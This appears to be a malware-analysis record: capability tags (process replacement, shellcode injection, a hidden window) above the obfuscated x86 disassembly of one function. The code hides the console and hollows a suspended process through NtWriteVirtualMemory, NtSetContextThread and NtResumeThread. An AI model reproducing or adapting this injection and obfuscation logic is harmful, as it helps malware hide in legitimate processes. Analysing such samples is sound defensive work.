Function at 0x10014fd0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x104
mov eax, dword [0x100b9a80]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10c], 0x43e8b3da
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x110], eax
sub eax, 0x8072b9cf
je 0x10018e81
jmp 0x1001500c
mov eax, dword [ebp - 0x110]
sub eax, 0x8165b303
je 0x1001716f
jmp 0x10015022
mov eax, dword [ebp - 0x110]
sub eax, 0x82db2aee
je 0x1001717e
jmp 0x10015038
mov eax, dword [ebp - 0x110]
sub eax, 0x83734e76
je 0x10019c66
jmp 0x1001504e
mov eax, dword [ebp - 0x110]
sub eax, 0x84189991
je 0x1001836b
jmp 0x10015064
mov eax, dword [ebp - 0x110]
sub eax, 0x84663402
je 0x10017ec4
jmp 0x1001507a
mov eax, dword [ebp - 0x110]
sub eax, 0x85233c80
je 0x1001aae7
jmp 0x10015090
mov eax, dword [ebp - 0x110]
sub eax, 0x8578a0eb
je 0x1001724f
jmp 0x100150a6
mov eax, dword [ebp - 0x110]
sub eax, 0x859c05e3
je 0x1001a510
jmp 0x100150bc
mov eax, dword [ebp - 0x110]
sub eax, 0x85ba21bf
je 0x100179e7
jmp 0x100150d2
mov eax, dword [ebp - 0x110]
sub eax, 0x85c24e21
je 0x100177db
jmp 0x100150e8
mov eax, dword [ebp - 0x110]
sub eax, 0x87715b59
je 0x10017744
jmp 0x100150fe
mov eax, dword [ebp - 0x110]
sub eax, 0x880aaf64
je 0x1001a3a3
jmp 0x10015114
mov eax, dword [ebp - 0x110]
sub eax, 0x88ca34d5
je 0x1001a8b1
jmp 0x1001512a
mov eax, dword [ebp - 0x110]
sub eax, 0x8b42996f
je 0x10017b7b
jmp 0x10015140
mov eax, dword [ebp - 0x110]
sub eax, 0x8b5e2e81
je 0x10019515
jmp 0x10015156
mov eax, dword [ebp - 0x110]
sub eax, 0x8b86f47e
je 0x10018a89
jmp 0x1001516c
mov eax, dword [ebp - 0x110]
sub eax, 0x8bcc1172
je 0x1001a016
jmp 0x10015182
mov eax, dword [ebp - 0x110]
sub eax, 0x8c5cf3ae
je 0x10019801
jmp 0x10015198
mov eax, dword [ebp - 0x110]
sub eax, 0x8cc172e3
je 0x10016e6c
jmp 0x100151ae
mov eax, dword [ebp - 0x110]
sub eax, 0x8cca3be0
je 0x1001a931
jmp 0x100151c4
mov eax, dword [ebp - 0x110]
sub eax, 0x8d2f6f32
je 0x1001a949
jmp 0x100151da
mov eax, dword [ebp - 0x110]
sub eax, 0x8d58ae9c
je 0x1001737f
jmp 0x100151f0
mov eax, dword [ebp - 0x110]
sub eax, 0x8d5eba57
je 0x10017fb0
jmp 0x10015206
mov eax, dword [ebp - 0x110]
sub eax, 0x8dca70a0
je 0x1001aabd
jmp 0x1001521c
mov eax, dword [ebp - 0x110]
sub eax, 0x8e91a48e
je 0x10019e50
jmp 0x10015232
mov eax, dword [ebp - 0x110]
sub eax, 0x8f2618c0
je 0x10019ee9
jmp 0x10015248
mov eax, dword [ebp - 0x110]
sub eax, 0x9090f0d4
je 0x10017f3a
jmp 0x1001525e
mov eax, dword [ebp - 0x110]
sub eax, 0x91c73315
je 0x1001708f
jmp 0x10015274
mov eax, dword [ebp - 0x110]
sub eax, 0x92b4e1f3
je 0x10019429
jmp 0x1001528a
mov eax, dword [ebp - 0x110]
sub eax, 0x93064502
je 0x1001846f
jmp 0x100152a0
mov eax, dword [ebp - 0x110]
sub eax, 0x943e0681
je 0x100178a2
jmp 0x100152b6
mov eax, dword [ebp - 0x110]
sub eax, 0x95bf6958
je 0x10017fd7
jmp 0x100152cc
mov eax, dword [ebp - 0x110]
sub eax, 0x96be64c9
je 0x10019456
jmp 0x100152e2
mov eax, dword [ebp - 0x110]
sub eax, 0x96c23187
je 0x10017e66
jmp 0x100152f8
mov eax, dword [ebp - 0x110]
sub eax, 0x982f6b2a
je 0x1001a893
jmp 0x1001530e
mov eax, dword [ebp - 0x110]
sub eax, 0x9bcc1260
je 0x10018fcd
jmp 0x10015324
mov eax, dword [ebp - 0x110]
sub eax, 0x9c4838e1
je 0x1001a66b
jmp 0x1001533a
mov eax, dword [ebp - 0x110]
sub eax, 0x9ced8507
je 0x10016c47
jmp 0x10015350
mov eax, dword [ebp - 0x110]
sub eax, 0x9d8cf8a1
je 0x100198fb
jmp 0x10015366
mov eax, dword [ebp - 0x110]
sub eax, 0xa243976e
je 0x10018b7f
jmp 0x1001537c
mov eax, dword [ebp - 0x110]
sub eax, 0xa290fbeb
je 0x1001a922
jmp 0x10015392
mov eax, dword [ebp - 0x110]
sub eax, 0xa389d952
je 0x1001725e
jmp 0x100153a8
mov eax, dword [ebp - 0x110]
sub eax, 0xa479b9ed
je 0x1001aaa8
jmp 0x100153be
mov eax, dword [ebp - 0x110]
sub eax, 0xa54b4d10
je 0x100188e7
jmp 0x100153d4
mov eax, dword [ebp - 0x110]
sub eax, 0xa580e941
je 0x10018b55
jmp 0x100153ea
mov eax, dword [ebp - 0x110]
sub eax, 0xa66d1d02
je 0x1001824f
jmp 0x10015400
mov eax, dword [ebp - 0x110]
sub eax, 0xa7735275
je 0x1001a183
jmp 0x10015416
mov eax, dword [ebp - 0x110]
sub eax, 0xa77e3df2
je 0x1001932d
jmp 0x1001542c
mov eax, dword [ebp - 0x110]
sub eax, 0xa7b9b0b0
je 0x1001a586
jmp 0x10015442
mov eax, dword [ebp - 0x110]
sub eax, 0xa9b7be6a
je 0x1001a97c
jmp 0x10015458
mov eax, dword [ebp - 0x110]
sub eax, 0xaa295f08
je 0x1001a7f9
jmp 0x1001546e
mov eax, dword [ebp - 0x110]
sub eax, 0xab2df46e
je 0x1001a994
jmp 0x10015484
mov eax, dword [ebp - 0x110]
sub eax, 0xab4eb7a3
je 0x1001a202
jmp 0x1001549a
mov eax, dword [ebp - 0x110]
sub eax, 0xac0bbda7
je 0x100189ff
jmp 0x100154b0
mov eax, dword [ebp - 0x110]
sub eax, 0xad14ed87
je 0x10019104
jmp 0x100154c6
mov eax, dword [ebp - 0x110]
sub eax, 0xada4837e
je 0x100185c6
jmp 0x100154dc
mov eax, dword [ebp - 0x110]
sub eax, 0xae22c2e9
je 0x10018b99
jmp 0x100154f2
mov eax, dword [ebp - 0x110]
sub eax, 0xb03386ed
je 0x1001726d
jmp 0x10015508
mov eax, dword [ebp - 0x110]
sub eax, 0xb0f74071
je 0x1001ab9f
jmp 0x1001551e
mov eax, dword [ebp - 0x110]
sub eax, 0xb121e192
je 0x1001a1f3
jmp 0x10015534
mov eax, dword [ebp - 0x110]
sub eax, 0xb1b8323a
je 0x10017074
jmp 0x1001554a
mov eax, dword [ebp - 0x110]
sub eax, 0xb1bd733d
je 0x10016fb6
jmp 0x10015560
mov eax, dword [ebp - 0x110]
sub eax, 0xb1e81a11
je 0x1001902a
jmp 0x10015576
mov eax, dword [ebp - 0x110]
sub eax, 0xb2d0ca73
je 0x100191d0
mov dword [ebp - 0x10c], 0xf48b23ff
jmp 0x1001add5
mov dword [ebp - 0x10c], 0xbafff1a7
jmp 0x1001add5
mov dword [ebp - 0x108], 0xefb8ef4
mov eax, dword [0x100bb02c]
mov ecx, dword [0x100bb028]
mov edx, eax
add edx, 0x96c89cb
sub edx, 1
sub edx, 0x96c89cb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xec12284d
mov ecx, 0x1e846628
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x10c], 0x91c73315
jmp 0x1001add5
mov eax, dword [0x100bb02c]
mov ecx, dword [0x100bb028]
mov edx, eax
sub edx, 0xa06eb052
sub edx, 1
add edx, 0xa06eb052
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x50c9ef79
mov ecx, 0x78b3ca10
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov dword [ebp - 0x10c], 0xb03386ed
jmp 0x1001add5
mov eax, dword [0x100bb02c]
mov ecx, dword [0x100bb028]
mov edx, eax
add edx, 0xbd3242c
sub edx, 1
sub edx, 0xbd3242c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5e0b071
mov ecx, 0x55c7aebd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov dword [ebp - 0x10c], 0xa389d952
jmp 0x1001add5
mov dword [ebp - 0x10c], 0xb03386ed
jmp 0x1001add5
mov dword [ebp - 0x10c], 0x67a098ed
jmp 0x1001add5
mov ecx, dword [0x100bb02c]
mov eax, dword [0x100bb028]
mov edx, ecx
add edx, 0x9c0a7163
sub edx, 1
sub edx, 0x9c0a7163
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x982f6b2a
mov ecx, 0xb6708df5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov dl, byte [ebp - 0x82]
mov eax, 0xb7223613
mov ecx, 0xea071488
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov eax, dword [0x100bb02c]
mov ecx, dword [0x100bb028]
mov edx, eax
add edx, 0x3aa1f6d8
sub edx, 1
sub edx, 0x3aa1f6d8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3dabfcd4
mov ecx, 0xc0b43916
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov dword [ebp - 0x10c], 0x23b8d984
jmp 0x1001add5
mov dword [ebp - 0x10c], 0x5eb935e3
jmp 0x1001add5
mov ecx, dword [0x100bb02c]
mov eax, dword [0x100bb028]
mov edx, ecx
sub edx, 0x54e0008d
sub edx, 1
add edx, 0x54e0008d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa290fbeb
mov ecx, 0xd982cc2b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov dword [ebp - 0x10c], 0x1c001dc9
jmp 0x1001add5
mov ecx, dword [0x100bb02c]
mov eax, dword [0x100bb028]
mov edx, ecx
add edx, 0x2fdae868
sub edx, 1
sub edx, 0x2fdae868
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5f904a4
mov ecx, 0x9090f0d4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov ecx, dword [0x100bb02c]
mov eax, dword [0x100bb028]
mov edx, ecx
sub edx, 0x9c9b137
sub edx, 1
add edx, 0x9c9b137
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5f904a4
mov ecx, 0x8d5eba57
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov dword [ebp - 0x10c], 0xea0c90ac
jmp 0x1001add5
mov dword [ebp - 0x10c], 0xea0c90ac
jmp 0x1001add5
mov dword [ebp - 0x10c], 0xe536c200
jmp 0x1001add5
mov eax, dword [0x100bb02c]
mov ecx, dword [0x100bb028]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2763199d
mov ecx, 0x3083a615
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov dl, 1
mov eax, 0x6be4897f
mov ecx, 0x44d7e7c7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov dword [ebp - 0x10c], 0xda5d5a3d
jmp 0x1001add5
mov dword [ebp - 0x10c], 0x3fe55cdd
jmp 0x1001add5
mov dword [ebp - 0x10c], 0x2022d7dc
jmp 0x1001add5
mov ecx, dword [0x100bb02c]
mov eax, dword [0x100bb028]
mov edx, ecx
add edx, 0xb6c1f683
sub edx, 1
sub edx, 0xb6c1f683
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd5ed125d
mov ecx, 0xa311678
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov eax, dword [ebp - 0xe4]
mov dword [eax], 0xefb8f08
mov dword [ebp - 0x10c], 0x519feb8e
jmp 0x1001add5
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x10c], 0xae22c2e9
jmp 0x1001add5
mov ecx, dword [0x100bb02c]
mov eax, dword [0x100bb028]
mov edx, ecx
add edx, 0x40c7ed67
sub edx, 1
sub edx, 0x40c7ed67
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc52693b7
mov ecx, 0x9ce151f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov ecx, dword [0x100bb02c]
mov eax, dword [0x100bb028]
mov edx, ecx
add edx, 0x8207a9e8
sub edx, 1
sub edx, 0x8207a9e8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7bd8edf7
mov ecx, 0x475335d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov eax, dword [ebp - 0xe0]
mov dword [eax], 0xefb8ee6
mov eax, dword [0x100bb02c]
mov ecx, dword [0x100bb028]
mov edx, eax
sub edx, 0x70b22185
sub edx, 1
add edx, 0x70b22185
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x334adb86
mov ecx, 0xb1e81a11
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov dword [ebp - 0x10c], 0xb6173ebb
jmp 0x1001add5
mov dl, byte [ebp - 0x5a]
mov eax, 0xd683f321
mov ecx, 0x722ae216
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov ecx, dword [ebp - 0x58]
add ecx, 0xc896ab99
add ecx, 1
sub ecx, 0xc896ab99
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov dword [ebp - 0x10c], 0xb46dd9e7
jmp 0x1001add5
mov dword [ebp - 0x10c], 0x45de559a
jmp 0x1001add5
mov eax, dword [ebp - 0xdc]
mov byte [eax], 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.1000eaf0
add esp, 4
lea eax, [0x1003bf42]
sub esp, 4
mov dword [esp], eax
call fcn.1000eaf0
add esp, 4
mov dword [ebp - 0x10c], 0x24bfed93
jmp 0x1001add5
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
sub ecx, 0xa09e05f3
add ecx, eax
add ecx, 0xa09e05f3
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x10c], 0xd3f70557
jmp 0x1001add5
mov dword [ebp - 0x10c], 0xd2bf44c0
jmp 0x1001add5
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
cmp eax, 0
setge al
and al, 1
mov byte [ebp - 0x4d], al
mov eax, dword [0x100bb02c]
mov ecx, dword [0x100bb028]
mov edx, eax
sub edx, 0x78a84927
sub edx, 1
add edx, 0x78a84927
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2ae1c163
mov ecx, 0x318223ba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov eax, dword [0x100bb02c]
mov ecx, dword [0x100bb028]
mov edx, eax
sub edx, 0x16026827
sub edx, 1
add edx, 0x16026827
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf96a6ae8
mov ecx, 0x2e4cd402
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x35], al
mov eax, dword [0x100bb02c]
mov ecx, dword [0x100bb028]
mov edx, eax
add edx, 0x8a7921d2
sub edx, 1
sub edx, 0x8a7921d2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf31a1a
mov ecx, 0x49add034
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov eax, dword [ebp - 0xa4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x34]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0xd8]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xa8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xa4]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0x14]
sub ecx, 0xde3a4071
add ecx, edx
add ecx, 0xde3a4071
mov edx, dword [ebp - 0xb4]
mov edx, dword [edx]
mov esi, dword [ebp - 0xa8]
mov esi, dword [esi]
mov edi, dword [ebp - 0xa4]
imul edi, dword [edi], 0x28
add esi, edi
mov esi, dword [esi + 0xc]
sub edx, 0x9b23d0e2
add edx, esi
add edx, 0x9b23d0e2
mov esi, dword [ebp - 0xc8]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x10c], 0xb3f2736f
jmp 0x1001add5
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
add ecx, 0x838031ef
add ecx, 8
sub ecx, 0x838031ef
mov eax, dword [ebp - 0xc8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xb4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
mov dword [ebp - 0x2c], eax
mov ecx, dword [0x100bb02c]
mov eax, dword [0x100bb028]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x534de8b8
mov ecx, 0x45b651e7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
add eax, 0x48
mov dword [ebp - 0x24], eax
mov eax, dword [0x100bb02c]
mov ecx, dword [0x100bb028]
mov edx, eax
sub edx, 0x755fb980
sub edx, 1
add edx, 0x755fb980
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1f712555
mov ecx, 0xb121e192
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov dword [ebp - 0x10c], 0xab4eb7a3
jmp 0x1001add5
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
add ecx, eax
mov eax, dword [ebp - 0xa0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x9c]
mov dword [eax], ecx
mov dword [ebp - 0x10c], 0x7b648733
jmp 0x1001add5
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [0x100bb02c]
mov ecx, dword [0x100bb028]
mov edx, eax
add edx, 0x937dbd28
sub edx, 1
sub edx, 0x937dbd28
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x72c4379b
mov ecx, 0x56fdba76
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov ecx, dword [0x100bb02c]
mov eax, dword [0x100bb028]
mov edx, ecx
add edx, 0x5be8a83c
sub edx, 1
sub edx, 0x5be8a83c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x15c09197
mov ecx, 0xa7b9b0b0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov edx, dword [eax + 0x28]
mov ecx, dword [ebp - 0x18]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax + 4]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov ecx, dword [0x100bb02c]
mov eax, dword [0x100bb028]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x15c09197
mov ecx, 0x5c68637b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov ecx, dword [0x100bb02c]
mov eax, dword [0x100bb028]
mov edx, ecx
add edx, 0xafa61f12
sub edx, 1
sub edx, 0xafa61f12
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4bc61496
mov ecx, 0xf11ad445
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001add5
mov byte [ebp - 0x101], 0
mov dword [ebp - 0x10c], 0xdc3b17e1
jmp 0x1001add5
mov dword [ebp - 0x10c], 0xb6708df5
jmp 0x1001add5
mov eax, dword [ebp - 0xfc]
mov byte [eax], 1
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x10c], 0x6af0c421
jmp 0x1001add5
mov dword [ebp - 0x10c], 0xd982cc2b
jmp 0x1001add5
mov eax, dword [ebp - 0xf4]
mov byte [eax], 0
mov dword [ebp - 0x10c], 0x7d4c42d1
jmp 0x1001add5
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x10c], 0xfdaf13b4
jmp 0x1001add5
mov eax, dword [ebp - 0xf0]
mov byte [eax], 1
mov dword [ebp - 0x10c], 0x54ba82cd
jmp 0x1001add5
mov dword [ebp - 0x10c], 0x23d70071
jmp 0x1001add5
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x10c], 0xe5d77340
jmp 0x1001add5
mov eax, dword [ebp - 0xe0]
mov dword [eax], 0xefb8ee2
mov dword [ebp - 0x10c], 0x38cfaf32
jmp 0x1001add5
mov eax, dword [ebp - 0xe0]
mov dword [eax], 0
mov dword [ebp - 0x10c], 0x532f6d4b
jmp 0x1001add5
mov dword [ebp - 0x10c], 0x5d96d4bf
jmp 0x1001add5
jmp 0x10014ff0